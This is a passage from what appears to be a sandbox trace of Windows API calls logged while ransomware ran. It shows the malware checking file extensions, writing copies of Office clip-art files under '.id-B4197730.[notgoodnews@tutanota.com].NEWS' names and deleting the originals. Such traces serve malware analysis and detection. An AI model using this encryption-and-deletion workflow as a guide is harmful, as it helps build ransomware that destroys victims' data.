Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0182.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.523] lstrlenW (lpString=".doc") returned 4 [0182.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.523] lstrlenW (lpString=".docx") returned 5 [0182.523] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.523] lstrlenW (lpString=".pdf") returned 4 [0182.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString=".xls") returned 4 [0182.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.524] lstrlenW (lpString=".xlsx") returned 5 [0182.524] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.524] lstrlenW (lpString=".ppt") returned 4 [0182.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.524] lstrlenW (lpString=".zip") returned 4 [0182.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.524] lstrlenW (lpString=".rar") returned 4 [0182.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString=".bz2") returned 4 [0182.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString=".7z") returned 3 [0182.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.524] lstrlenW (lpString=".dbf") returned 4 [0182.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.524] lstrlenW (lpString=".1cd") returned 4 [0182.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.524] lstrlenW (lpString=".jpg") returned 4 [0182.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.526] lstrlenW (lpString=".doc") returned 4 [0182.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString=".docx") returned 5 [0182.526] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.526] lstrlenW (lpString=".pdf") returned 4 [0182.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString=".xls") returned 4 [0182.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.526] lstrlenW (lpString=".xlsx") returned 5 [0182.526] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.526] lstrlenW (lpString=".ppt") returned 4 [0182.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.526] lstrlenW (lpString=".zip") returned 4 [0182.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.526] lstrlenW (lpString=".rar") returned 4 [0182.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString=".bz2") returned 4 [0182.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.526] lstrlenW (lpString=".7z") returned 3 [0182.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.526] lstrlenW (lpString=".dbf") returned 4 [0182.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.527] lstrlenW (lpString=".1cd") returned 4 [0182.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0182.527] lstrlenW (lpString=".jpg") returned 4 [0182.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.527] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.527] lstrlenW (lpString="J0107314.WMF") returned 12 [0182.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.537] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10852) returned 1 [0182.537] CloseHandle (hObject=0x560) returned 1 [0182.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0182.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.538] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.538] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.539] GetLastError () returned 0x0 [0182.539] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0182.542] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0182.545] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.546] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.546] SetEndOfFile (hFile=0x4f0) returned 1 [0182.546] CloseHandle (hObject=0x4f0) returned 1 [0182.546] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.546] SetEndOfFile (hFile=0x560) returned 1 [0182.550] CloseHandle (hObject=0x560) returned 1 [0182.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0182.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.553] lstrlenW (lpString=".doc") returned 4 [0182.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.553] lstrlenW (lpString=".docx") returned 5 [0182.553] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.553] lstrlenW (lpString=".pdf") returned 4 [0182.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.553] lstrlenW (lpString=".xls") returned 4 [0182.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.553] lstrlenW (lpString=".xlsx") returned 5 [0182.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.553] lstrlenW (lpString=".ppt") returned 4 [0182.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.553] lstrlenW (lpString=".zip") returned 4 [0182.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.554] lstrlenW (lpString=".rar") returned 4 [0182.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString=".bz2") returned 4 [0182.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString=".7z") returned 3 [0182.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.554] lstrlenW (lpString=".dbf") returned 4 [0182.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.554] lstrlenW (lpString=".1cd") returned 4 [0182.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.554] lstrlenW (lpString=".jpg") returned 4 [0182.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.554] lstrlenW (lpString=".doc") returned 4 [0182.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.554] lstrlenW (lpString=".docx") returned 5 [0182.554] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.554] lstrlenW (lpString=".pdf") returned 4 [0182.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.555] lstrlenW (lpString=".xls") returned 4 [0182.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.555] lstrlenW (lpString=".xlsx") returned 5 [0182.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.555] lstrlenW (lpString=".ppt") returned 4 [0182.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.556] lstrlenW (lpString=".zip") returned 4 [0182.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.556] lstrlenW (lpString=".rar") returned 4 [0182.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.556] lstrlenW (lpString=".bz2") returned 4 [0182.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.556] lstrlenW (lpString=".7z") returned 3 [0182.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.556] lstrlenW (lpString=".dbf") returned 4 [0182.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.556] lstrlenW (lpString=".1cd") returned 4 [0182.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0182.556] lstrlenW (lpString=".jpg") returned 4 [0182.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.557] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.557] lstrlenW (lpString="J0107316.WMF") returned 12 [0182.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.558] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11288) returned 1 [0182.558] CloseHandle (hObject=0x560) returned 1 [0182.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0182.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.559] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.559] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.560] GetLastError () returned 0x0 [0182.560] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2c18, lpOverlapped=0x0) returned 1 [0182.948] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2c20, lpOverlapped=0x0) returned 1 [0182.949] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.949] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.949] SetEndOfFile (hFile=0x4f0) returned 1 [0182.950] CloseHandle (hObject=0x4f0) returned 1 [0182.950] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.950] SetEndOfFile (hFile=0x560) returned 1 [0182.983] CloseHandle (hObject=0x560) returned 1 [0182.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0182.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.986] lstrlenW (lpString=".doc") returned 4 [0182.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.986] lstrlenW (lpString=".docx") returned 5 [0182.986] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.986] lstrlenW (lpString=".pdf") returned 4 [0182.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.986] lstrlenW (lpString=".xls") returned 4 [0182.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.986] lstrlenW (lpString=".xlsx") returned 5 [0182.986] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.986] lstrlenW (lpString=".ppt") returned 4 [0182.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.986] lstrlenW (lpString=".zip") returned 4 [0182.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.986] lstrlenW (lpString=".rar") returned 4 [0182.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.986] lstrlenW (lpString=".bz2") returned 4 [0182.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.986] lstrlenW (lpString=".7z") returned 3 [0182.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString=".dbf") returned 4 [0182.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString=".1cd") returned 4 [0182.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString=".jpg") returned 4 [0182.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString=".doc") returned 4 [0182.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString=".docx") returned 5 [0182.987] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.987] lstrlenW (lpString=".pdf") returned 4 [0182.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString=".xls") returned 4 [0182.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.987] lstrlenW (lpString=".xlsx") returned 5 [0182.987] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.987] lstrlenW (lpString=".ppt") returned 4 [0182.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.987] lstrlenW (lpString=".zip") returned 4 [0182.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.987] lstrlenW (lpString=".rar") returned 4 [0182.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString=".bz2") returned 4 [0182.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.987] lstrlenW (lpString=".7z") returned 3 [0182.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.988] lstrlenW (lpString=".dbf") returned 4 [0182.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.988] lstrlenW (lpString=".1cd") returned 4 [0182.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0182.988] lstrlenW (lpString=".jpg") returned 4 [0182.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.988] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.988] lstrlenW (lpString="J0107426.WMF") returned 12 [0182.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.990] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11492) returned 1 [0182.990] CloseHandle (hObject=0x560) returned 1 [0182.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220 [0182.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.991] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.991] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0183.006] GetLastError () returned 0x0 [0183.006] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0183.057] WriteFile (in: hFile=0x558, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0183.058] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.058] WriteFile (in: hFile=0x558, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.058] SetEndOfFile (hFile=0x558) returned 1 [0183.058] CloseHandle (hObject=0x558) returned 1 [0183.058] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.058] SetEndOfFile (hFile=0x560) returned 1 [0183.062] CloseHandle (hObject=0x560) returned 1 [0183.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0183.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.064] lstrlenW 